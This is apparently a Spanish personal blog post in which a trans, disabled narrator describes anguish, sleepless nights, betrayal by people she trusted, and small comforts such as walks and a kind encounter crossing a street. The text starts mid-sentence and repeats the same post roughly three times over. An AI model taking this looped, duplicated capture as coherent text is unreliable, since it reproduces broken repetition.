grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
#AlmasRotas #angustia #autoconocimiento #crisisEmocional #emociones #escrituraTerapéutica #experienciaTrans #IdentidadDeGénero #insomnio #introspección #reflexiónPersonal #resilienciaEmocional #SaludMental #soledad #tristeza -
Angustia
⏱️ Tiempo estimado de lectura: 12 minutos y 50 segundos.
Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
#AlmasRotas #angustia #autoconocimiento #crisisEmocional #emociones #escrituraTerapéutica #experienciaTrans #IdentidadDeGénero #insomnio #introspección #reflexiónPersonal #resilienciaEmocional #SaludMental #soledad #tristeza -
Angustia
⏱️ Tiempo estimado de lectura: 12 minutos y 50 segundos.
Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
#AlmasRotas #angustia #autoconocimiento #crisisEmocional #emociones #escrituraTerapéutica #experienciaTrans #IdentidadDeGénero #insomnio #introspección #reflexiónPersonal #resilienciaEmocional #SaludMental #soledad #tristeza -
Angustia
⏱️ Tiempo estimado de lectura: 12 minutos y 50 segundos.
Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
